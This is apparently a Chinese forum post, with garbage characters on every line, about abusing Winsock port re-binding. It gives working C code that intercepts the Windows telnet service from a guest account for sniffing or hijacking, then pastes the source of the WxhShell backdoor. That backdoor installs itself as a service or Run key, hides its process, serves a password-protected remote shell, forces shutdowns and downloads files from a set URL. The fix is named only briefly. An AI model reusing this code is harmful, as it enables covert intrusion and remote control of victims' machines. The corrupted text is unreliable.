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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >EMgP1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0NSn5Hq  
$p4aNC  
  saddr.sin_family = AF_INET; {zGIQG9  
OvPy+I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sQ^>.yG  
Y\ T*8\h_[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'D-#,X C  
&F}1\6{fL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6QRfju'  
=3=KoH/'  
  这意味着什么?意味着可以进行如下的攻击: r1FE$R~C=  
F.=u Jdl.!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'KGY;8<x]  
e![Q1!r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D^PsV  
[ &*$!M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {K'SOh H4?  
wN)R !6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |4Ix2GD  
04;y%~,}U/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ABV\:u  
,l<-*yMD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z1+rz%  
FGx_ qBG4|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4Uf+t?U9  
e #^|NQ<'A  
  #include v%< _Mh  
  #include fC3IxlG  
  #include #|XEBOmsQ  
  #include    0iX qAa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ke>\.|HT}  
  int main() 1TQ $(bI  
  { *vhm  
  WORD wVersionRequested; tL+8nTL  
  DWORD ret; RQ,(?I*8\  
  WSADATA wsaData; pOI+  
  BOOL val; ^qbX9.\  
  SOCKADDR_IN saddr; +$>ut r  
  SOCKADDR_IN scaddr; ):78GVp  
  int err; Q]xW}5 /  
  SOCKET s; d L%E0o  
  SOCKET sc; [/uKo13  
  int caddsize; :e@JESlLf  
  HANDLE mt; 8VcAtrx_  
  DWORD tid;   R~*Y@_oD  
  wVersionRequested = MAKEWORD( 2, 2 ); r-YQsu&  
  err = WSAStartup( wVersionRequested, &wsaData ); Vd<= y  
  if ( err != 0 ) { G P1>h.J  
  printf("error!WSAStartup failed!\n"); a`pY&xq::  
  return -1; !P Gow  
  } H5RHA^p|  
  saddr.sin_family = AF_INET; Y)u} +Yg  
   SbnV U[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =w A< F  
0v7;Z xD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3/rvSR!  
  saddr.sin_port = htons(23); IVNNiNN*5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) paBGJ~{=  
  { CJKH"'u3^  
  printf("error!socket failed!\n"); Z `\7B e  
  return -1; c0G/irK  
  } deTbvl  
  val = TRUE; >qF KXzI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sf*SxdoZU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [ !R%yD;  
  { bOz\-=au  
  printf("error!setsockopt failed!\n"); ') 1sw%[2  
  return -1; hTG d Uw]  
  } 8]?1gDS|9O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3+|6])Hi1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uBE,z>/,;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <Ab:yD`K!  
J$I1 *~I4v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `u>BtAx8  
  { , ;d9uG2  
  ret=GetLastError(); mTP.W#N  
  printf("error!bind failed!\n"); [d&Faa[`  
  return -1; BWPYHWW}E  
  } NUnP'X=J,  
  listen(s,2); *>'R R<  
  while(1) ABHZ)OM  
  { Lv^j l  
  caddsize = sizeof(scaddr); \7j)^  
  //接受连接请求 kxn;;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qBNiuV;*  
  if(sc!=INVALID_SOCKET) `X^e}EGWu  
  { GC\/B0!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ez$5wY^J  
  if(mt==NULL) n#&RY%#`  
  { Uqpvj90sw  
  printf("Thread Creat Failed!\n"); .FXQ,7mZ-  
  break; 654%X(:q  
  } |Gf{}  
  } o7T|w~F~R  
  CloseHandle(mt); <C>i~ <`d  
  } }[DAk~  
  closesocket(s); R]Yhuo9,&n  
  WSACleanup(); Azle ;\l`  
  return 0; r#Fu<so,  
  }   `P5"5N\h  
  DWORD WINAPI ClientThread(LPVOID lpParam) ; p_X7N  
  { IB6]Wj  
  SOCKET ss = (SOCKET)lpParam; {;}8Z$  
  SOCKET sc; sR 9F:  
  unsigned char buf[4096]; Ii,:+o%  
  SOCKADDR_IN saddr; \O:xw-eG   
  long num; \S<5b&G  
  DWORD val; h^0mjdSp,  
  DWORD ret; 4AM*KI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !qpu /  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \Cs<'(=  
  saddr.sin_family = AF_INET; S }n;..{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J9 =gv0  
  saddr.sin_port = htons(23); @ tIB'|O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `@e H4}L*  
  { E nvs[YZe  
  printf("error!socket failed!\n"); 9>#|~P&FE  
  return -1; %KA/  
  } _)l %-*Z7p  
  val = 100; gCJ'wv)6|%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 84[^#ke  
  { r9Z/y*q  
  ret = GetLastError(); 19.cf3Dh  
  return -1; $;CC lzw  
  } DsX>xzM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZH(.| NaH  
  { 1;P\mff3Y  
  ret = GetLastError(); LbR-uc?x  
  return -1; WNb$2q=  
  } RrHnDO'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  +o  
  { vOK;l0%  
  printf("error!socket connect failed!\n"); X u_<4  
  closesocket(sc); Pp/{keEye  
  closesocket(ss); ! -c*lb  
  return -1; _6m3$k_[MJ  
  } jVINc=o  
  while(1) K*Jtyy}r  
  { (OqJet2{+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X4$e2f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [j? <9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gHx-m2N  
  num = recv(ss,buf,4096,0); x3s^u~C)(w  
  if(num>0) Wn^^Q5U#  
  send(sc,buf,num,0); faq K D:  
  else if(num==0) %jxuH+L   
  break; [!&k?.*;<  
  num = recv(sc,buf,4096,0); A,{D9-%  
  if(num>0) xiF%\#N  
  send(ss,buf,num,0); .NT&>X~.V  
  else if(num==0) zcKC5vqb  
  break; ^eW.hNg  
  } ?X'* p<`  
  closesocket(ss); #'x?) AS  
  closesocket(sc); .dCP8|  
  return 0 ; / D ]B  
  } 2]9<%-=S  
U_- K6:tr  
1[l>D1F?  
========================================================== IBkH+j  
V@:=}*E  
下边附上一个代码,,WXhSHELL 3}21bL  
n:'BN([]o  
========================================================== udGGDH  
k_n{Mss'9  
#include "stdafx.h" n ;5?^Un%  
txo?k/w  
#include <stdio.h> vB5iG|b}  
#include <string.h> +&,\ J9'B  
#include <windows.h> t4@g;U?o  
#include <winsock2.h> 6\Vu#r  
#include <winsvc.h> MNqyEc""  
#include <urlmon.h>  -C  ON  
G=cH61  
#pragma comment (lib, "Ws2_32.lib") 2w|u)ow )  
#pragma comment (lib, "urlmon.lib") A9UaLSe  
:EwA$`/  
#define MAX_USER   100 // 最大客户端连接数 %_MR.J+m2  
#define BUF_SOCK   200 // sock buffer oRThJB  
#define KEY_BUFF   255 // 输入 buffer 3c^=<i %  
j{R|]SjW2H  
#define REBOOT     0   // 重启 |/^aL j^u  
#define SHUTDOWN   1   // 关机 1vs>2` DLa  
M3@fc,Ch  
#define DEF_PORT   5000 // 监听端口 6Y )^)dOi  
?gwbg*  
#define REG_LEN     16   // 注册表键长度 m=\eL~ h  
#define SVC_LEN     80   // NT服务名长度 %]0U60  
#}7m'F  
// 从dll定义API b*F~%K^i$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~|{)h^]@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sLa)~To  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *rz(}(r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'lsq3!d.  
Q(5:~**I  
// wxhshell配置信息 [y[v]'  
struct WSCFG { `$Flgp0P  
  int ws_port;         // 监听端口 pZ~> l=-  
  char ws_passstr[REG_LEN]; // 口令 V 1nZ M  
  int ws_autoins;       // 安装标记, 1=yes 0=no  +wW  
  char ws_regname[REG_LEN]; // 注册表键名 _@pf1d$  
  char ws_svcname[REG_LEN]; // 服务名 kqigFcz!Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B"8JFf}"q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 11<@++,i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L +rySP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P9i9<pR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fyq] M_5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H.8CwsfP  
9=~H6(m>  
}; Gx_`|I{P  
FR,#s^kF  
// default Wxhshell configuration \1`DaQp7  
struct WSCFG wscfg={DEF_PORT, 0S:!Gv +  
    "xuhuanlingzhe", qVD!/;l  
    1, @VC9gd O/  
    "Wxhshell", f93rY<  
    "Wxhshell", % r   
            "WxhShell Service", 7R<u=U  
    "Wrsky Windows CmdShell Service", .cT$h?+jyl  
    "Please Input Your Password: ", *CY6 a  
  1, CDwIq>0j  
  "http://www.wrsky.com/wxhshell.exe", .V 3X#t  
  "Wxhshell.exe" Pv %vx U  
    }; q8 xc70: R  
yCkW2p]s,K  
// 消息定义模块 $F@L$& ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aU.0dsq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JNM@Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 76_8e{zbr  
char *msg_ws_ext="\n\rExit."; }RN=9J  
char *msg_ws_end="\n\rQuit."; MZMS ?}.2  
char *msg_ws_boot="\n\rReboot..."; N 1f~K.e\  
char *msg_ws_poff="\n\rShutdown..."; XJlDiBs9=Q  
char *msg_ws_down="\n\rSave to "; ?fa,[r|G  
>RL6Jbo|  
char *msg_ws_err="\n\rErr!"; `k{ff  
char *msg_ws_ok="\n\rOK!"; w[ YkTv  
3w^J"O/T  
char ExeFile[MAX_PATH]; !OoaE* s  
int nUser = 0; r6`^>c  
HANDLE handles[MAX_USER]; |6(qg5"  
int OsIsNt; llaZP(pJ  
Av v  
SERVICE_STATUS       serviceStatus; =Mu'+,dT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~0[G/A$]  
\/'#=q1  
// 函数声明 z)W#&JFF  
int Install(void); |+;KhC  
int Uninstall(void); 'tV"^KQHI  
int DownloadFile(char *sURL, SOCKET wsh); d JQ }{,+6  
int Boot(int flag); ]IHD:!Z-=  
void HideProc(void); +NLQYuN  
int GetOsVer(void); ^{fi^lL=  
int Wxhshell(SOCKET wsl); 7\0|`{|R@  
void TalkWithClient(void *cs); ;!0.Kk 4  
int CmdShell(SOCKET sock); g=oeS%>E  
int StartFromService(void); cGpN4|*rQ  
int StartWxhshell(LPSTR lpCmdLine); q0b`HD  
!|Xl 8lV`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ic{'H2~4,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B=q)}aWc  
71 L\t3fG  
// 数据结构和表定义 ."F'5eTT~  
SERVICE_TABLE_ENTRY DispatchTable[] = >d27[%  
{ gB{]yA"('  
{wscfg.ws_svcname, NTServiceMain}, ^Z-. [Y  
{NULL, NULL} $ gr6  
}; B'KXQa-$O  
W p7@  
// 自我安装 P$(WdVG  
int Install(void) D,GPn%Wqi  
{ <r7qq$  
  char svExeFile[MAX_PATH]; e"o6C\c  
  HKEY key; L.T gJv43  
  strcpy(svExeFile,ExeFile); ?HEtrX,q  
 J:~[ j  
// 如果是win9x系统,修改注册表设为自启动 XC7Ty'#"KX  
if(!OsIsNt) { l?@MUsg+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " g0-u(Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qUEd E`B  
  RegCloseKey(key); iJdrY 6qd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EG(`E9DZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y>78h2AU  
  RegCloseKey(key); KB%j! ?  
  return 0; $/<"Si&(  
    } "5o;z@(  
  } RFZU}.*K$  
} \N`fWh8&  
else { MAwC\7n+X  
(^tr}?C  
// 如果是NT以上系统,安装为系统服务 >Bh)7>`3c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]5o0  
if (schSCManager!=0) _A;vSp.`  
{ eN<>#: `  
  SC_HANDLE schService = CreateService `Ct'/h{  
  ( %?]{U($?  
  schSCManager, [Hv*\rb  
  wscfg.ws_svcname, nl)_`8=  
  wscfg.ws_svcdisp, "q9~ C  
  SERVICE_ALL_ACCESS, WIEx '{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,u ?wYW;  
  SERVICE_AUTO_START, >}dTO/  
  SERVICE_ERROR_NORMAL, Gs_*/E7,  
  svExeFile, Lo|NE[b:G  
  NULL, hapB! ~M?  
  NULL, TdNuD V  
  NULL, Xb(CH#*{z  
  NULL, 5eiZs  
  NULL q9>Ls-k  
  ); HO%E-5b9  
  if (schService!=0) t-*VsPy  
  { Tsm)&$JI8  
  CloseServiceHandle(schService); [|:QE~U@  
  CloseServiceHandle(schSCManager); vi[#? ;pkF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1R'u v4e  
  strcat(svExeFile,wscfg.ws_svcname); gZ`32fB%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gsds!z$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q:`77  
  RegCloseKey(key); 7gVh!rm  
  return 0; J^+_8  
    } x38SSzG:L  
  } tsTR2+GZS  
  CloseServiceHandle(schSCManager); >u9id>+  
} Ax5mP8S  
} `DgaO-Dg3  
#Acon7R p  
return 1; Fe_::NVvk  
} Hk<X  
d'N(w7-Y  
// 自我卸载 hw&ke$Fg#  
int Uninstall(void) XPHQAo[(s  
{ r.^0!(d  
  HKEY key; PtQQZ"ept  
1KeJd&e  
if(!OsIsNt) { egZyng pB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NqiB8hZ~  
  RegDeleteValue(key,wscfg.ws_regname); JwN}Jm  
  RegCloseKey(key); #d }0}7ue  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $l#v/(uFa  
  RegDeleteValue(key,wscfg.ws_regname); Nd]0ta  
  RegCloseKey(key); /#-,R,Q  
  return 0; o/tVcv  
  } i&A{L}eCr:  
} .+{nA}Bc  
} EpRXjz  
else { K(-G: |  
Zvd ;KGO(a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r+imn&FK8  
if (schSCManager!=0) 52>[d3I3  
{ 4mEzcwo'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >X;xIyRL  
  if (schService!=0) 8q_1(& O  
  { r5f^WZ$-  
  if(DeleteService(schService)!=0) { +IwdMJ8&8  
  CloseServiceHandle(schService); qg^(w fI  
  CloseServiceHandle(schSCManager); @rPI$ia1~  
  return 0; I#i?**  
  } ry$tK"v/  
  CloseServiceHandle(schService); *hv=~A $q  
  } 7[ZkM+z!  
  CloseServiceHandle(schSCManager); r/UYC"K3  
} R'S c  
} 7MKD_`g  
<'r0r/0g?  
return 1; Iv'RLM  
} NY4!TOp  
NzjMk4t  
// 从指定url下载文件 lr9=OlH  
int DownloadFile(char *sURL, SOCKET wsh) ?wGiog<Q{  
{ JaH* rDs-  
  HRESULT hr; l_^T&xq8  
char seps[]= "/"; Oamv9RyDvC  
char *token; 4 hL`=[AB  
char *file; zt7_r`#z  
char myURL[MAX_PATH]; hNH.G(l0  
char myFILE[MAX_PATH]; *,E;  
kxwNbxC  
strcpy(myURL,sURL); eeZIa`.sX  
  token=strtok(myURL,seps); 3CA|5A.Pa  
  while(token!=NULL) RxlszyE  
  { !nec 7  
    file=token; gE\A9L~b  
  token=strtok(NULL,seps); IM@"AD52a  
  } W;^Rx.W  
"4 'kb  
GetCurrentDirectory(MAX_PATH,myFILE); [<_"`$sm=  
strcat(myFILE, "\\"); MB1sQReOO  
strcat(myFILE, file); 4O$mR  
  send(wsh,myFILE,strlen(myFILE),0); l*$WX=h6n  
send(wsh,"...",3,0); ?g5iok {  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4BHtR017r  
  if(hr==S_OK) a`DWpc~  
return 0; L30>| g  
else ^Y$QR]  
return 1; \BLp-B1s  
Bk&-1>cY  
} Xwn3+tSIa  
!A~d[</]m  
// 系统电源模块 F;pTXt}?5  
int Boot(int flag) yPSVwe|g  
{ 66/Z\H^d  
  HANDLE hToken; x:p}w[WM  
  TOKEN_PRIVILEGES tkp; DP|TIt,Rl  
"]v uD  
  if(OsIsNt) { I%SuT7"Do  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I4rV5;f H4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ojX%RU  
    tkp.PrivilegeCount = 1; NPS .6qY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yb69Q#V2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _B}9 f  
if(flag==REBOOT) { :qBGe1Sv(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /j11,O?72  
  return 0; +eU`H[iu  
} ,g%o  
else { |Mt&p#y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -<|Y1PQ  
  return 0;  wjL|Z8  
} oBb?"2~9  
  } 4 ^4d9?c  
  else { ]Qd{ '}+  
if(flag==REBOOT) { i[PvDv"n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mU50pM~/i  
  return 0; )^&,Dj   
} aQga3;S!  
else { %?Rs*-F.~1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e]>/H8  
  return 0; e$HQuA~Q;  
} n|6?J_{<b>  
} 'm[6v}  
f?Z|>3.2  
return 1; `N$!s7M  
} Tj&'KF8?L  
#$FY+`  
// win9x进程隐藏模块 n"iNKR>nW  
void HideProc(void) CldDr<k3  
{ Mxo6fn6-46  
N ,+(>?yE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); * flWL  
  if ( hKernel != NULL ) r?\|f:M3  
  { )AJ=an||5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wEE2a56L-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6p#g0t  
    FreeLibrary(hKernel); I'dj.  
  } cs t&0  
h20Hg|   
return; ^xt9pa$f  
} TMqY4;UeL  
ALfiR(!  
// 获取操作系统版本 3^XVQS***  
int GetOsVer(void) t=Jm|wJnUA  
{ 3|zgDA  
  OSVERSIONINFO winfo; ,7<DGI_y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5Q|sta!  
  GetVersionEx(&winfo); c8<xFvYG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *!Y- !  
  return 1; b_|u<  
  else F;pQ\Y  
  return 0; zFywC-my@  
} !9DX=?  
jQ?LHUE  
// 客户端句柄模块 #sZIDn J#  
int Wxhshell(SOCKET wsl) %&tb9_T)d  
{ .1LPlZ  
  SOCKET wsh; 7-X/>v  
  struct sockaddr_in client; {\EOo-&A  
  DWORD myID; J,(7.+`~#  
0aogBg_@K  
  while(nUser<MAX_USER) mL$f[  
{ v77fQ0w3  
  int nSize=sizeof(client); ZjS(ad*.2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /=T H08  
  if(wsh==INVALID_SOCKET) return 1; XMw.wQ '?  
'#W_boN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {OCJ(^8i  
if(handles[nUser]==0) MxTmWsaW  
  closesocket(wsh); ]-:1se  
else 781]THY=  
  nUser++; \Tyf*:_F>  
  } 1Cv#nhmp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 84^[/d;!  
E M Q4yK  
  return 0; dMV=jJ%Y  
} bK4&=#Zh  
#9\THfb  
// 关闭 socket q$T8bh,2  
void CloseIt(SOCKET wsh) 4sIX O  
{ NI.`mc6X d  
closesocket(wsh); i4<BDX5  
nUser--; *T1~)z}j<  
ExitThread(0); y(}Eko4u5  
} \2 >?6zs  
nvt$F%+  
// 客户端请求句柄 h>klTPM>  
void TalkWithClient(void *cs) I+",b4  
{ Ak A!:!l  
@1bH}QS  
  SOCKET wsh=(SOCKET)cs; CW-Ae  
  char pwd[SVC_LEN]; _*E!gPO  
  char cmd[KEY_BUFF]; #ib^Kg  
char chr[1]; G6Nb{m  
int i,j; )7Ixz1I9g  
}Eh*xOta  
  while (nUser < MAX_USER) { [7.agI@=  
u-szt ?O|  
if(wscfg.ws_passstr) { :u/mTZDi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 41yOXy ;~l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0x~`5h  
  //ZeroMemory(pwd,KEY_BUFF); e:E# b~{  
      i=0; ah+j!e  
  while(i<SVC_LEN) { PsbG|~  
6 D/tK|  
  // 设置超时 x8\<qh*:  
  fd_set FdRead; h e&V# #  
  struct timeval TimeOut; 8+&JQ"UaB  
  FD_ZERO(&FdRead); mU@xc N  
  FD_SET(wsh,&FdRead); 8TPN#"  
  TimeOut.tv_sec=8; zCV7%,H~  
  TimeOut.tv_usec=0; Qx t@ V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `!i-#~n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [/$N!2'5  
RJ}#)cT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X;!~<~@Y  
  pwd=chr[0]; bfdVED  
  if(chr[0]==0xd || chr[0]==0xa) { p/*"4-S  
  pwd=0; _a5(s2wq+  
  break; ,2,5Odrz  
  } x=*L-  
  i++; aWGon]2p  
    } Mu2`ODe]  
OCK>%o$[  
  // 如果是非法用户,关闭 socket pM2a(\K,k^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  zF: j  
} Uu'dv#4Iw  
<3Gqv9Y&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :=fvZAWD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iM5vrz`n  
X+l'bp]Ry  
while(1) { _|zBUrN  
Vz"u>BP3~  
  ZeroMemory(cmd,KEY_BUFF); K)N0,Qwu  
|[1D$Qv  
      // 自动支持客户端 telnet标准   @cv{rr  
  j=0; T)SbHp Y  
  while(j<KEY_BUFF) { ^E,1V5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O3qM1-k}S  
  cmd[j]=chr[0]; Phs-(3  
  if(chr[0]==0xa || chr[0]==0xd) { Cq\I''~8  
  cmd[j]=0; :2y"3azxk  
  break; "HlgRp]u  
  } zwr\:Hu4  
  j++; "b,%8  
    } +iA=y=;blH  
NXU`wnVJ  
  // 下载文件 aE/D*.0NI  
  if(strstr(cmd,"http://")) { *e/K:k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T3pdx~66  
  if(DownloadFile(cmd,wsh)) |B^G:7c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vmi{X b]<  
  else ~uj;qq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ln<]-)&C  
  } z$[C#5+2  
  else { hfrnxeM#~  
C@gXT]Q 0}  
    switch(cmd[0]) {  +sZUJ  
  =yXs?y"  
  // 帮助 ;t(f1rPyE  
  case '?': { qf8[!5GM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S$[k Q|Am  
    break; 0rE(p2  
  } rU2iy"L  
  // 安装 kWW w<cA  
  case 'i': { F L=,YP  
    if(Install()) 6`\ya@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R IVc3?;$  
    else xf,5R9g/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W?XizTW  
    break; 1*Ar{:+ua  
    } ,Em$!n  
  // 卸载 .}`hCt08  
  case 'r': { ig_2={Q@  
    if(Uninstall()) :i*JnlvZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=^w3y  
    else ry0%a[[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9uYyfb: ,z  
    break; HeA{3s  
    } OB^Tq~i  
  // 显示 wxhshell 所在路径 ;*cLG#&'M  
  case 'p': { pq! %?m]  
    char svExeFile[MAX_PATH]; B'weok  
    strcpy(svExeFile,"\n\r"); v:|( 8Y  
      strcat(svExeFile,ExeFile); )qU7`0'8  
        send(wsh,svExeFile,strlen(svExeFile),0); ra6o>lI(,  
    break; Vpp&|n9^  
    } Y+-xvx :  
  // 重启 6Bt=^~d  
  case 'b': { m{%t?w$Au  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;4#D,zlO^  
    if(Boot(REBOOT)) LE=k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [QczlwmO  
    else { 0ejdKdYN  
    closesocket(wsh); 0 P|&Pq&IH  
    ExitThread(0); acW'$@y9?N  
    } G^Tk 20*  
    break; C"w {\ &R  
    } Ru\_dr2yI}  
  // 关机 kQv*eZ~  
  case 'd': { U 4,2br>  
